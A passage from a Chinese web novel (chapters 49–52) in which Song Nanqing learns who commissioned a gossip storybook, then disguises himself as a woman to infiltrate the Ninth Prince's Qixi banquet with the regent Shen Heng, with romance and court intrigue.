宋南卿心中想着坊间的传言,他也想知道现在他和摄政王在世人眼中的关系到了什么地步,于是回头看了眼沈衡,悄声问他可以吗? 沈衡点了点头。 天上繁星点点,街道两边树上挂着合欢宫灯,当宋南卿跟着绿芜越走越感觉熟悉,最终来到了灯火通明筝声阵阵的凤栖楼时,他瞪着眼睛指着“凤栖楼”的招牌转头问绿芜:“这就是你说的清雅地方?!”—— 作者有话说:之前有聪明宝宝猜出了绿芜身份!奖励皇帝陛下同款乞巧果一个 第49章 第四十九章 一定要夫妻吗? 凤栖楼门口传来丝竹阵阵, 宋南卿拧起一边眉毛问:“你那个朋友……不会是云岫吧?” 绿芜发出惊喜的声音,“你认识云岫!不过就算你认识我亲友,也不能打折哈, 说好三十两就是三十两。” 掀起珠帘, 宋南卿又来到了奢侈精美、让人流连忘返的凤栖楼,只是这里跟之前有了不小的变化, 一些女子的穿着都没有之前那么清凉, 而且大厅里人们的桌上少了酒, 多了各式各样精致的餐食。 贾良死了之后,凤栖楼被宋南卿盘下交给了云岫管理, 和之前的青楼做派不同, 凤栖楼经历改革重组,变成了一家业务更丰富的高端会所。倭人境内正在打仗,比起朝不保夕风雨飘摇, 云岫他们还是留在强盛的盛国来的更安心。 二楼包厢, 云岫甩着飘扬的衣摆让人端上来好些吃的, 翠绿印了粉花的桌布之上摆了好几碟精致点心, 宋南卿拿起一盒布丁送到鼻尖闻了闻, 颧骨抬高溢出笑容,抬眼看了看沈衡, 用眼神询问他可不可以吃。 沈衡轻轻颔首。 宋南卿拿着勺子一边品味布丁一边跟绿芜在纸上写写画画,讨论他想要的后续剧情走向,表面看上去是在玩闹, 其实关于这本关注度很高的话本,运用好了就是一个舆论宣传册,是虚构的故事,也可以是现实的映射。 期间云岫也插话进来, 三人时不时对视一眼发出银铃般清脆的笑声,诡异的氛围让沈衡本来只是简单坐着,后来不自觉整了整衣领,再后来他离开了这张桌子,背着手到窗边欣赏起七夕的月亮。 云岫只知道宋南卿来头不小,并不清楚他和沈衡的真实身份,所以,相处起来十分自在,甚至有空关心他和沈衡关系怎么样了。 宋南卿低头喝了口茶,嘴唇抿成一条直线,随口道:“嗯……就是,我有时候搞不懂他,我按照你教我的那个手册,主动一点,然后跟他提需求,他好像不高兴,他好像不喜欢我太主动……” 云岫托着下巴说:“怎么会呢?你学的哪一章?男人嘴上说是喜欢纯的,其实说到底还是喜欢欲的,哪有男的不喜欢主动的。” 绿芜听到这儿,眼睛冒出亮光,一拍手掌说:“我第一眼就看出你俩不对劲,七夕节一起逛街还买东西,原来你们真是啊!” “云岫你那一套是傍金主的,有时候真感情反而不能用你那些套路。”绿芜正襟危坐发表自己的见解,“就拿我这个书里的角色来讲吧,不管表面上怎么诡谲,其实底色是纯爱。如果一方认为这是一段真挚的感情,另一方再去耍心机,那么他就会以为你不是真的爱他,主动只是手段,越主动,在他眼里就离爱他越远。” 宋南卿理了理头发,道:“我明白。” 五彩的珠串衬得他的脸更加精致,他和沈衡之间的关系,不是普通情爱那么简单,期间掺杂了太多利益和纠纷,一开始就不是纯净的,就像他头上的珠子,穿的时候就是五彩缤纷繁多复杂的,想统一颜色,只能拆掉重来,但拆开来就没办法还原成最初的样子了。 沈衡于他,半师半友半知己,半尊半慕半倾心。其中又掺杂了权力纠纷和利益往来,又单纯又不单纯,无法说清这种感觉。 没有一套方法可以教他真正获得别人的心,真心是算计不来的,只能靠真心来换。 但他没办法把这些跟云岫和绿芜讲,也没办法和沈衡讲。 一楼大厅来了贵客,云岫有事情出去招待。宋南卿垂下睫毛,又问绿芜:“你摄政王这本书,后续剧情如果受我指使随便写的话,他不会生气吗?” 绿芜脸色微变,勉强挤出一抹笑问:“谁?” 绿底红花的桌布被抬起一角,宋南卿扯着桌布朝前靠近,黑白分明的眼睛像是能看透人心,“让你写这本书的人。” 如果绿芜真的是她自己嘴里所说的罪臣之女,那么没有人在朝中知晓政局动向,她是怎么写出这看似巧合又满含映射之意的文字的? 宋南卿一动不动盯着绿芜观察他的反应,想看出今晚这个相遇,从偷荷包到他看到那本书,到底是巧合还是人为。 绿芜并没有慌张,只是叹了一口气,道:“我联系不上他。” 她摊了摊手,“这几日他们府上正在办宴会,闲杂人等一律不得靠近,说好的尾款也没有给我,钱庄催债一日比一日急,我没办法,只好从这上面找点别的赚钱路子,是他不仁在先。” “云岫生意做那么好,你就没想找她借?”宋南卿问。 绿芜说:“找同好亲友,最忌讳的就是公私不分,她已经帮我很多了,我能解决的事,不想麻烦她。” 几月前,因为她家里长辈不愿意和贾良同流合污干一些丧良心的事,被设计诬陷贪污进了大牢,随之而来的就是抄家、吐赃款,那时贾良一手遮天,他们毫无申辩可能,为了保全家里人只能借贷还款。 刚好那时她的第一本话本子在京城风靡一时,小赚了一笔,但面对巨额窟窿,还是显得杯水车薪。所以当有人顺着书店找上门来,问他愿不愿意写一本规定好的定制话本时,面对高昂的费用,她不可能不接受。 为了让她放心,对方先付了三分之一的定金,并承诺后续会按照协议给她付款。就这样,摄政王这本书很快问世,有了绿芜这个名片,很多人都来争相,里面写的又是身份最尊贵的二人的爱恨情仇,一有原型,众人总忍不住想入非非。本来朝中有心之人就散布了摄政王和宋南卿的流言,这下子民间逐渐也有了一些风言风语,反过来助推这本书卖的脱销。 但当初她签的协议里有规定,她只能拿那一部分的钱,多出来的都在对方那里,所以她才想出现代签售的法子来企图多赚一点,多还一些。 宋南卿玩着手上的翠绿扳指,眉头微挑,问:“他是谁?” 绿芜神情犹豫。 “还差钱庄多少钱?”宋南卿眼带笑意,一截凝白皓腕搁置在桌上,透绿翡翠在指尖旋转了一圈,气定神闲。 绿芜摇头:“我不能接受……” 宋南卿定定看着她道:“如果你确定家里是被诬陷的,我可以帮你平反。” 绿芜咽了下口水,说不出话了。她望着眼前这个金尊玉贵的少年,从头顶到脚尖,无一不精致华贵,他向自己伸出的橄榄枝太过诱人,虽然只是平静坐在那里,但说出的话就是能让她相信,对方既然说得出,就一定做得到。 她眉头一拧,嘴角微颤想开口,对方又给了她最后一击:“不知道你有没有听说过最近开的很大的李氏医馆,对重病急病颇有一番对症下药之解。” 绿芜当然听过,这个李氏医馆一开始名不见经传突然在京城繁华地开了起来,起初人们都不以为意,但后来一些严重外伤病人眼见就要不行了,到了里面偏偏就被妙手回春。而且听说里面的李大夫有自己一套独特医术,桥头卖炊饼的大娘家中老人十多年的顽疾,被一下子治好了,躺在床上十多年的人就那么能站起来了。 现在京城中无人不晓这李氏医馆的神医,而且他收费并没有漫天要价,反而平易近人,只是需要排队。 绿芜之前也动过这个心思,一是没钱,二是李氏医馆的号不是轻易能排上的。她还在心里感叹过,从古至今京城的三甲医院都是那么难排,越是严重的病越是难排。 所以一听宋南卿提起,她的眼睛亮了亮,急忙问:“难道你能?” 坐在对面的少年轻轻颔首,好整以暇看向她,姿态闲适带着绝对的自信。 绿芜轻轻吸了一口气,其实在她少不更事的时候,也幻想过偶像剧中的场面。有一个男人在她骑着自行车上贵族学校受人欺负的时候站出来,送她晚会上要穿的晚礼服,开车送她上学,带她去逛衣服店让她重新认识自己,对着鲜花对着大海告诉全校的人自己是他罩的,是的,她就是远近闻名的楚…… 楚楚可怜的小白花。 所以当宋南卿这三板斧一出往她头上砸的时候,绿芜在这一刻和那些偶像剧女主共情了。 有时候很难拒绝吧。 虽然对面坐着的人不是霸总,但莫名从他身上看出了一丝霸总的影子和气势。 他给的实在有点太多了,而且又不图什么,仅仅只是图自己……身上的线索罢了。 绿芜静默许久,最终抬起头道:“是九王殿下身边的管家。” 他给自己钱,让自己按要求写出来,钱是一批一批付的,但最近九王好像在忙着办宴会,管家也没空出来,她没了这笔钱,才到处想法子多赚一些,十一也是担心她,所以才会一时心急做了偷东西的错事。 “希望你能履行承诺,我也会按你的要求写完第二部。”绿芜没了插科打诨的表情。 宋南卿点头,朝她伸出右手,“一言为定。” 话音刚落,门口掀起一阵旋风,云岫急急忙忙推门而入,着急对着绿芜道:“快快快!他又来了,快点帮我化妆,我让人先拖住了他,你快点要不然来不及了啊啊啊——” 宋南卿呆坐在桌前看着绿芜就这样从旁边掏出来一个小箱子,粉末兑水捏成一个敷在鼻子上的形状,凭空捏出来一个假鼻子,下巴加了一块,眼睛用稍暗一些颜色的粉描的变得更尖。 她的动作快出残影,顷刻之间云岫就大变模样,从一个仙气飘飘的美人变成了一个俊朗的少年,从外表来看竟然毫无破绽。 宋南卿在一旁目瞪口呆,眼睛瞪得老大,等云岫拆了发髻又穿上一件暗色外袍之后,完全完成了一个大变活人的动作。 眼见着云岫飘然离去,宋南卿还没回过神,眼神发飘对绿芜说:“你、她…刚刚是谁啊?” “哦,有个想来抄袭我们生意创意的人,云岫假扮成别人去套他话给他使绊子呢。”绿芜从容收笔,在宋南卿眼里就是在收一柄锋利的剑。 “你刚刚说,九王最近在办宴会,什么宴会?” “七夕宴,这几天都在准备,请京城世家的官员夫妻一同参加,说是庆祝侧妃生辰。不过看守可严了,我上次想去找管家,他那里没有请帖是进不去的。” 宋南卿若有所思问:“一定要夫妻吗?” 绿芜点头,不明白他什么意思。 宋南卿瞟了一眼不远处的沈衡,喉口发紧,一脸真切问绿芜:“你能把云岫化成男人,那…能不能把我化成女人啊?” 他和沈衡扮演夫妻的话,总不能让沈衡扮那个妻吧,除非那些人疯了,不然但凡有一点脑子的也不会相信。 “咣当”一声,绿芜手中的笔掉落在地上,她用一种诡异的眼神打量着宋南卿,从眼睛到嘴唇,然后视线在宋南卿和沈衡之间来回游荡,最终勾起一抹笑道: “能,怎么不能。”—— 作者有话说:戏精即将来袭[鼓掌] 第50章 第五十章 怎么那么可爱 月上中天, 九王府门口的侍卫笔直排列,管家在接待京城位高权重的官员夫妇。 九王久不出来活动,一朝对外举办宴会, 京城多少人都想和他结交。 外界都传他是一个绝顶痴情之人, 当年在与突厥人作战时府中王妃生孩子难产去世,他未能赶回来见王妃最后一面, 哀思难寄, 一连好多年都未曾娶续弦。传言说他对王妃旧情难忘, 后面纳了几房小妾都有着王妃的影子。 听说九王这几日新娶了一名侧妃,对她宠爱的很, 鹣鲽情深, 不输当年对王妃之态。所以大摆筵席想把这名爱妃介绍给京城世家命妇们认识,帮助她更好地融入贵妇圈子。这样看来,九王对这位侧妃还真是上心的很。 明亮的八角灯挂在树梢, 投下树叶枝干的影子。在暖黄色灯光下, 不远处一个粉衣女子款款移步而来, 挎着旁边高大男人的手臂身姿绰约, 层层叠叠色彩明媚的衣袍尽显娇媚。 她没戴什么名贵的首饰, 头发只是简单挽起,几缕飘下来的碎发在空中摇曳, 主打的就是清水出芙蓉,宜室宜家。但那张漂亮到耀眼的脸一经出现就引起了在场所有人的注意。 小巧的巴掌脸略施粉黛,她看起来年纪尚小有着未识世事天真神态, 一双眼睛含水般轻轻转动,被描绘勾勒的极为勾人,眼尾拉出的那道细细弧线微微上扬,饱满的红唇上涂了亮晶晶的口脂, 可爱清纯和甜美妩媚浑然一身,浅粉的衣裙蹁跹,一举一动尽态极妍,娇俏动人。 但她旁边那个男人的长相就不尽如人意了,国字脸,短粗眉,扔到虹桥叫卖的小贩摊中都分辨不出的长相,也就只有个个子可以看了,这美女配丑人的搭配,让众人一边感叹实在是暴殄天物,一边打量那个男的到底是何身份来头。 宋南卿挽着沈衡的手臂,敛眉低声道:“你能不能别顶着这样一张脸碰我,好难受。” 后腰处被温热的手臂轻轻搂着,虽然还是同样的手臂,但看着沈衡现在那张被易容过的脸,宋南卿只想仰天喊救命。 一个时辰前绿芜一听要给他男扮女装,兴奋得不行,造型妆容尽心尽力极尽细致,桃花般的脸蛋被勾勒描画成了绝世美人,只是眼睛和骨骼阴影变换了几下,宋南卿的脸就完全变成了另一个人。原本偏圆的眼睛被横向拉长,妩媚风情在眨眼间尽显。唇峰被晕染出去,唇形一变,下半张脸就完全不同了。 他长相本来很幼态,这样一弄显得像是个被催熟的水蜜桃,最后绿芜完成作品的时候,望着眼前的宋南卿都忍不住捂住胸口小声呼气:“我堂堂一个异性恋看见你都要不行了……我的手艺不管到哪儿还都是一骑绝尘的存在啊——” 在宋南卿脸上花费太多功夫的后果就是,等到沈衡的时候就没剩多少时间了,为了防止宴会开席进不去门,她照着沈衡给他的画像三下五除二套了个成男模板。 所以宋南卿看着他眼前这张脸,属实有点接受无能。 沈衡搂着他的腰二人举止亲密,眼神扫过宋南卿亮亮的红唇,又被他卷翘浓密的睫毛吸引了心神。 绿芜没有夸大其词,穿女装的宋南卿确实别具吸引力,这个年纪本就处在性别朦胧期,光鲜甜美的衣着和首饰一上身,弄得沈衡都有些恍惚。 “怎么了,不是夫妻么,碰一下都不行?”高大的男人倾身凑到他耳边,动作亲密,尽心尽力扮演一对热恋夫妻,和周围的高官夫妇相比确实是有些黏人。 宋南卿心想如果你一开始就是这张丑脸,我怎么也不会委屈自己跟你假扮夫妻,绿芜真是太不靠谱了这弄了个什么怪物。 眼见二人走到门口,看守的侍卫要他们出示请柬。 宋南卿眼睛转了转,含着秋波的眸子扫过左右两个侍卫和周围人群,推了一把旁边的沈衡,语气娇纵:“请柬呢?” 沈衡很快就接上了戏,眼睛往下一瞥,道:“不是你收着的吗?” 宋南卿头上的发髻晃了晃,他微微张开嘴眉头一皱,“在家里的时候不是说好你拿着的吗?什么意思,你不会没拿吧。” 他刚刚还和绿芜学了伪音技巧,细着嗓子提高音调,还真有种声音磁性的女孩子的意思。 “你能不能上点心,这可是王爷亲自下的邀约,这要是进不去丢了脸面,我看你明日在大理寺怎么抬得起头!” 沈衡压低声音道:“怪我?请柬明明是你丢三落四现在又怪到我头上了?谁家夫人跟你一样一天天就知道吃喝打扮,家里大事一点不管。” 他们逐渐提高的声音引起了周围人的注意。 宋南卿拿眼睛余光瞥着不远处刚下了马车朝这边走来的刑部尚书,把握好时机,猛地抬手指着沈衡尖声道:“我不管!今日我非要进去问问王妃娘娘,天下有没有这种道理,自家夫君不管事,倒要妻子来受人指指点点!” 他猛地朝沈衡肩膀一推,没推动对方一分,反而自己朝后退了好几步,正巧撞在一旁的刑部尚书夫人身上,一倒地,宋南卿哭哭啼啼的声音带着委屈和沙哑传来。 沈衡抬手想扶,又握紧了拳放下。 尚书夫人扶着宋南卿起身,看他哭的眼角带泪的可怜模样,拿出帕子给他擦拭,慈祥平和的一张脸带着善意温柔,轻声道:“夫妻哪有过不去的坎,别哭了,怎么回事儿跟我说说?” 门口管家认得刑部尚书,小跑着过来询问是发生了什么事,他们招待不周连忙道歉。 宋南卿抿了抿唇,不小心舔到唇瓣上苦苦的口脂,咧着嘴露出了一个痛苦表情,眼眶红的程度更加深了一些,挽着尚书夫人的手跟她谴责吐槽沈衡,边说话边不动声色打量着对方的表情。 他在一次宴会上和这位夫人有一面之缘,她跟刑部尚书感情很好恩爱许多年没有孩子,所以对孩子有着天然的亲和力。经过那次目睹尚书夫人替一个宫里孩子解围,和耳边日常听来的关于这位夫人的慈爱事迹,宋南卿选定了她作为自己这次赌一把的筹码。 “我们的请柬没有带来,现在派人去拿肯定来不及了,他还说是我的错!不想想办法就知道骂我呜呜…”宋南卿红着眼眶梨花带雨,指着站在一旁不闻不问的沈衡道,“我就知道男人靠不住。” 府里钟声敲响,预示着宴会即将开始,尚书夫人仔细端详着他的脸,又问了沈衡在何处做官。刑部尚书一向听自己妻子的话,看她有帮宋南卿的意思,也上前来跟沈衡搭话,见他把大理寺的人员结构和最近发生的案子说的清楚,心中仅有的一丝疑虑也打消了。 刑部尚书跟夫人说了几句话,然后转头跟管家说:“宴会马上就开始了,他们在门口吵架也不成样子,怕扰了王爷兴致。我看这二位都眼熟,不是什么宵小之辈,不知能否宽容些许,让他们随我和夫人一同进去。” 既然刑部尚书认识,那管家确实没有不放人的理由。宋南卿被尚书夫人拉着手腕进了王府,嘴角微微扬起。 “以后不可这么任性了,既然已经结为夫妻就该一体同心,我看你的样子应该成婚不久吧,有事就该好好说开,嗯?”尚书夫人轻轻敲了敲宋南卿的额头,言辞温柔,微笑的样子带着温和包容,让他想起了母亲。 原本翘起的嘴角下压,宋南卿默默点了点头跟她道谢。 “我的女儿如果还活着,应该也跟你一样大了…”尚书夫人眼角有了些细细的纹路,但笑起来依然温和,她觉得跟宋南卿很投缘,又聊了几句才被人叫走。 夜晚的九王府灯火辉煌,沿着小溪的石子路旁一盏盏落地灯把周围照得明亮,拿着刀的侍卫在门口巡逻,大门逐渐关闭。 宋南卿转头寻找沈衡的身影,踮脚张望之时突然看见了贺西洲,虽然自己已经易容伪装,但那种条件反射般被发现的紧张还是涌上心头,他提起裙摆小碎步朝前方假山移去。 薄底的布鞋走在石子路上十分硌脚,宋南卿撇撇嘴露出不悦,一个正绕着假山躲避往这边来的贺西洲,没成想自己的胳膊上传来一个有力的拉扯,他瞬间就被拉进假山中间的缝隙中,粉红裙摆在空中扬起一个弧度,像蝴蝶张开翅膀又快速收回。 “你、大胆!放开我…唔唔……” 贺西洲已经来到假山附近的河边,宋南卿被一只手掌捂住了嘴,声音戛然而止。后面的人贴身上前,熟悉的气息和味道让宋南卿放松了刚刚紧绷起的心神。 是沈衡。 假山中间很暗,只能隐隐约约看见人的轮廓,沈衡握住宋南卿的腕子,低声问:“刚才有没有哪里摔痛?” 狭窄的空间里,二人的体温彼此交换,在本就炎热的天气里,很快额头上就有了一层薄薄的汗。 宋南卿摇了摇头,又点头说:“手痛。” 借着外面的灯,沈衡掰开他的手指,手心有些泛红,不知道是因为刚刚推他推的,还是因为倒地的时候用手撑了一下的缘故。轻轻的触摸像是蜻蜓点水,在手心抚过,带着怜惜。 巡逻队排列整齐正在园子里巡逻,他们现在更没办法出去了。 宋南卿被挤在假山石和沈衡的胸膛中间,长长的发丝有一缕落到了男人肩膀上,他转过身和人面对面,伸出手指点了点沈衡的胸膛道:“刚刚在门口,你说的是不是真心话!说我就知道吃喝打扮。” 外面有人,他说话的声音很小,呼出的气息几乎能洒到沈衡脸上,又大又勾人的眼睛在黑暗中也发着光。 “还说我丢三落四呢!平时就对我不满很久了吧,现在可算找到机会说出口了,你怎么这么坏啊!”宋南卿鼓着脸戳他,脸上胭脂香粉和口脂的香气直往沈衡鼻子里钻。 修长的手指攥住少年胡乱戳弄的手固定在胸前,沈衡弯腰凑近,盯着他叭叭不停的小嘴,暗沉沉的目光看得宋南卿心里发毛。 “干嘛…我跟你说、你——” 饱满多汁喋喋不休的嘴唇被含住,深深的亲吻带着浓烈的情感铺天盖地落下,假山中间小小的缝隙里,他们二人相拥在一起,远处是开宴歌舞升平的音乐,近处只能感受到这个侵略性的吻。 宋南卿被亲的舌头发麻,抑制不住往后躲,一只手像是长了眼睛一般预料到他的动作,准确垫在他后脑勺上,手掌用力往前压去。 “呜……”宋南卿踮起脚,酥酥麻麻的愉悦从舌尖传到后脑,又一路传到被食指有一下没一下揉捏的发根。 他的舌头含不住,吐出一截两眼迷离,泪花都被亲出来了。 沈衡舔舐着少年那颗饱满诱人的唇珠,细微的水声在假山里清晰回荡,湿滑的粉红舌尖被舔着勾勒描绘,又被顶着塞回了少年流着口水的嘴里。 “怎么那么可爱。”沈衡低低叹息,声音里溢出掩藏不住的愉悦。 50-60 第51章 第五十一章 被夫君打的 粉红的衣裙层层叠叠, 衬得少年像是绽放的海棠。他的发髻有些凌乱,饱满的脸蛋被嘴唇贴着轻吻,一路亲到嘴角。 宋南卿揪着自己的袖口, 睫毛眨得很快, 细声细气道:“不要亲了,粉都掉了…” 湿润的唇瓣若即若离贴着, 沈衡捏着他的下巴微微抬起, 两片唇瓣中间只留了一丝缝隙, 要贴不贴的停在那里,彼此唇上的温度差一丝就能感受交换, 若有似无的痒意升起, 彼此的口水还在嘴唇上未干。 少年嘴唇上原本嫣红的口脂被吃掉大半,他垂着眼睛看近在咫尺的沈衡,微微张开一点嘴唇想靠近, 对方却后退了一些。 “嗯哼……”他不满地发出哼唧, 攥住沈衡的袖子轻晃。 “不是不要了?”沈衡低沉的嗓音里带上了丝□□惑, 在黑夜中有着别样的诱哄味道。 宋南卿踮脚往前探, 翘起的唇珠已经触碰到男人唇缝间的软肉, 被轻轻一夹,酥痒覆盖整个上唇。 他整个人挂在沈衡身上往前倾身, 垂下的几缕青丝搔刮着人的脖颈,声音像加多了蜜糖的牛乳茶,“要的…要亲。” “要谁亲?”沈衡搂住他盈盈一握的细腰, 腰间垂下的发尾搭在他的手背上轻晃,在黑暗里久了,眼睛逐渐适应环境,也看清楚了宋南卿这张纯中带欲如沾露花瓣般的脸。 宋南卿乖巧道:“要先生亲……” 他把嘴唇贴上去, 眼睛里是毫不掩盖的渴望。 沈衡轻轻摇头,手掌按在他的腰上摩挲,“不对。” 宋南卿露出委屈的表情,以为他又故意欺负自己,手腕对在一起搂紧了人的脖颈,声音失落,“怎么不对…”可怜的尾音像丝丝缕缕的线把人缠绕在内。 腰间软肉被隔着衣裙轻捏,宋南卿突然瞪大了眼睛,想起他如今和沈衡扮演的角色是……夫妻。 红霞慢慢蔓延至腮上,宋南卿转眼和沈衡对上视线,他从那双眼睛中看到了一些无声暗示,后腰处的手掌逐渐收紧。 宋南卿转过头把脸贴在人脖颈处,像是怕被他的视线灼伤,他咬了咬唇,视线下移,而后闭上双眼,轻声叫了句:“夫……” 沈衡瞳孔颤抖,下颌线绷紧,时间仿佛被拉的很远很长,这两个字中间的距离像是跨越了前半生,他屏住呼吸,听见宋南卿趴在他怀里叫道:“夫子……” 脆生生的声音不知道的以为他俩在学堂偷情。 沈衡微微颤抖的手这下子彻底不抖了,他舔了舔牙根边点头边冷笑,双手捧起宋南卿的脸低头用力吻住,激烈又热烈的吻像是要把怀里的人吞噬殆尽。 古语有云:戏子无义。 是因为他们扮演了太多角色,跟太多的人表达过演出来的情义,所以演多了都是角色,已经分辨不出感情真假。 但对宋南卿和沈衡来讲,面前这个角色,是他们此生第一次接触,第一次演,第一次和这个角色共振。 那句喊不出口的夫君,这段只有在今晚这个宴会上才能延续的关系,是他们两个人此生都没办法光明正大叫出的东西。只有今晚,只有在这个无人的角落,他们才能借着角色泄露出一丝真心,或者假意。 今夜是七夕,有情人团圆的日子。 宋南卿依靠在石壁上平复着呼吸,红润的嘴唇上有一处被咬破的小口子,眼睛中各种情绪闪过,最终都被垂下的睫毛掩盖。 沈衡替他重新整理乱掉的发髻,借着七夕的月亮,一点点把头发用手指理好梳顺。宋南卿靠在他身前安静又乖巧,手指扯着身上的纱衣给自己扇风。 这个地方偏僻,宴席已开,大家都聚在宴会厅,当宋南卿走出去的时候,眼睛正好瞥见不远处灯影里有一个男子端着酒水果盘朝北边走去,一个模糊的侧脸却让他觉得莫名在哪儿见过。 见他停止脚步,沈衡问他怎么了。 宋南卿摇摇头,声音充满活力:“没事,我们一起去会一会九王吧!我倒要看看他葫芦里到底卖的什么药。” 宴会刚刚开始不久,露天的宴会厅可以看见天上的星星,这会子那群夫人小姐、公爵高官们正聚在一处拜月赏花,吟诗作对。九王南幸添了个夜明珠的彩头,本次宴会他邀请的基本上都是朝廷有头有脸的人,但也为了避免别人说闲话,说他拉帮结派结党营私,他又找了些重要部门的小角色,连同侧妃的亲人家眷一起,宴会上欢笑声不断。 月上中天,夫人小姐们在品茶用香,男人们则聚在一起谈论起朝廷政治来。 宋南卿从不显眼的草丛边缘融入了他们,望着被簇拥在中间拜月的侧王妃,对着沈衡远远比了个手势。 夫人社交有时候是必要的,九王看起来很重视这个侧妃,他现在这样去接近南幸未免太显眼了,于是就打算先从侧王妃入手。他示意沈衡不用管他,去另一边听听那些男人都在谈些什么。 银汉迢迢暗度,金风玉露一相逢,便胜却人间无数。宋南卿一出现,在月光下朦胧白皙的脸庞加上独特出尘的气质,便吸引了一大部分人的目光。 他从假山那边走过来,连带着一些萤火虫围绕在身旁一起飞了过来。星星点点的流萤飞在他身旁,让不远处密切关注侧王妃身影的南幸停住了视线。 在看清宋南卿那张脸的一瞬间,南幸愣了片刻。宋南卿有感受到九王在看自己,按理说他照过镜子,确定绿芜鬼斧神工般的化妆技术那真是亲妈来了都认不出,眼前这个亲哥当然也不可能认得出。 但有句话叫作做贼心虚,宋南卿心里有鬼,就很担心九王是不是从他脸上看出了些蛛丝马迹,认出自己来。 卷翘的睫毛颤颤,他心虚移开视线偏过脸,又为了确认九王是不是还在盯着自己,微微掀起眼皮去瞧,一看对方果然还在盯着,又连忙交错视线。 这一来一回,在九王南幸眼里,就是这个穿着粉衣的小美人对自己三顾留情,欲拒还迎,那双水盈盈的眼睛着实勾魂夺魄。 他叫来身边管家,打听宋南卿的身份,一边听管家讲起刚刚门口发生的事情,一边眯了眯眼。 月光洒在身上,像是为人镀了一层银边,仰头去看,看不见嫦娥玉宫,只能看见金星伴月。一颗颗星星看的人眼花,逐渐眼前东西有了重影。侧王妃原本正在拜月,身形摇晃眼前一花就晕倒在地。 原本其乐融融的人群中瞬间响起惊叫。 “快来人啊!王妃晕倒了!” 宴会的主人公出事,一时间所有人都朝这边看去,下人、王府的侍卫、一众宴会人群瞬间乱作一团。 宋南卿离得很近,因为之前在李家村跟李大哥学习过急救,他连忙上前查看侧王妃的身体状况,搭住脉搏细细感受后,发觉王妃身体虚弱脾胃不合,像是许久未进食,生生饿晕了。 “有没有糖,或者糖水一类的东西,给她喂一点进去。”宋南卿托着她的脖子方便人平躺,翻开眼皮察看过后,没发觉有别的异样。 九王快步朝人群中央走来,第一眼就看见宽大飘扬的粉色裙摆,由于宋南卿跪坐在地上救人的姿势,衣裙朝四周散开。在月色下,他不慌不忙救人的样子充满了恬静和果断,指挥人的语气的动作很自然,不高高在上但平和带着威严,令人信服。 九王默许了他的动作,旁人也不敢置喙。 王妃被平移到旁边的空旷处,喂了些甜羹后,意识恢复了些许。 去请的大夫还在路上,南幸弯腰一把把侧王妃抱起,大步朝房间内走去,衣角飘过宋南卿时,对他说:“为防王妃再有恙,你也一并跟来。” 宋南卿愣了愣,跟不远处的沈衡视线相交,然后提起裙摆跟随九王和一众侍从一并离开。 九王府邸很大,雕梁画栋亭台楼阁,这是一个偏殿,因为九王身子不好,根本不能抱着王妃走太长的路,所以找了一个最近的屋子修养。 侧王妃躺在内室床上还未醒来,大夫的诊断和宋南卿的结论是一样的,久未进食引发的昏厥,正在给她开药。 外间,宋南卿坐在摆了青花瓷瓶的博古架前,跟九王面对面感觉空气中有一丝尴尬。 “刚刚多亏了夫人,王妃才能化险为夷。”南幸一条胳膊搭在桌上,狭长的眼睛望向宋南卿,俊朗如星的面容带着宋氏一族特有的风韵。 宋南卿垂着睫毛,跟他客套了几句,感觉对方看自己的眼神有些不对劲,在他脸上停留的时间过于长了,尤其是自己的眼角。 不会真看出什么了吧……宋南卿偏过脸来,发丝垂落肩头。 “王爷!”门外有穿着侍卫衣服的人急忙赶来,跪在地上行了个礼后,凑到南幸耳边说了些什么。宋南卿侧过身避嫌,垂眼时看到那个侍卫的手背上,带着特殊的护指刺。 他像是被当头一棒,那个护指刺的材质很特殊,作为武器并不常见,他看得清楚,与当日在医馆遇到的那个被追杀的异族人身上的,一模一样。 魏进那日顺着他逃跑的路线一路跟踪,最终竟然被他甩掉了。但在对方被追杀途中,捡到了他掉落的一枚护指刺,小巧锋利见血封喉,曾呈递给宋南卿看过。他当时很好奇,仔仔细细端详了一番,万不能错认。 他心头掀起波澜,表面却分毫不显。等人出去,再看向南幸时,眼中情绪发生了变化。 “王爷言重了,举手之劳罢了。”宋南卿轻轻笑起来,嘴边弯起一个恰好的弧度。眼角那颗被点出来的痣格外吸引人,无辜又显眼。 九王也笑起来,伸手触碰到宋南卿的发尾,轻声说:“她的左眼下方也有一颗痣,你笑起来真像她。” 宋南卿笑容一滞,不明白他这又是来哪一出。 “今天是七夕,你说我遇到你是不是命中注定的,是上天给我的补偿。” 南幸望着他,又像是透过他去看别的什么人,手指缠绕在宋南卿发尾,语气暧昧又迷离。 “王爷…”宋南卿低声拒绝,心里思忖片刻,道,“这样不妥。” 聪明人的游戏里,拒绝不彻底的意思就是没拒绝。南幸从袖子里掏出一个精美的桃花簪,轻轻插进宋南卿的发髻里,脸上是散漫的笑。 “那么漂亮一张脸,怎么也没什么像样的首饰,你夫君到底是穷还是小气?连个簪子都不买给你。” 宋南卿被他碰到头发心里很烦,但是今天来王府的目的就是来探查九王的底细。那日琼林宴,魏进打马球时试探出他的身体情况根本不像表现出来的那么弱,反而强劲有力,是练武才有的脉搏。 久不出山之人突然开门宴宾客,想想就有很大问题,再加上那枚护指刺,九王身上有太多秘密了,现在这正是一个好机会来接触他,解开谜团。 宋南卿转过脸看他,嘴唇上的伤口被南幸发现,他眯着眼凑近观察,问道:“嘴唇怎么破了?” 宋南卿一个激灵,他生怕被看出来是被咬的,总不能这头跟丈夫吵完架,那头又跟他深吻不慎咬破嘴唇吧,为了防止人设崩塌,他连忙捂住嘴唇和半边脸,语气可怜幽怨: “我…妾身做错了事,被夫君打的……”—— 作者有话说:国庆快乐呀! 第52章 第五十二章 你是不是好喜欢我 可怜的小美人眼含秋波, 指若削葱根,覆盖在脸庞上带着委屈怯意。 更别提,宋南卿这个年纪, 刚好就是九王初遇见王妃时, 她那个年纪。 眼角若隐若现的泪痣和五分相似的面容,让南幸仿佛真的看到心上人的影子。这些年, 他寻遍各处拼凑早亡的心上人的身影, 有的人眼睛像, 有的人气质像,今日这个侧王妃已经被他训练的有几分相似, 只是还是太过丰腴, 没有当年九王妃那种弱不禁风的感觉。 反倒是今日惊鸿一瞥发现的眼前人,笑起来时像,委屈可怜的样子更像。当年他前去与突厥作战前, 王妃就是这幅表情劝他能不能别去, 他没有应下, 岂料这竟成了王妃在世间对他提出的最后一个要求。 南幸倾身, 想去抓宋南卿的手指, 眼含关切:“他竟然打你?这样的人怎么配成为你的夫君。” 宋南卿不着痕迹移开手指没被碰到,脑中看过的话本子情节徐徐展开, 他清了清嗓子,捏着声音道:“妾身是罪臣之女,他愿意救我出苦海, 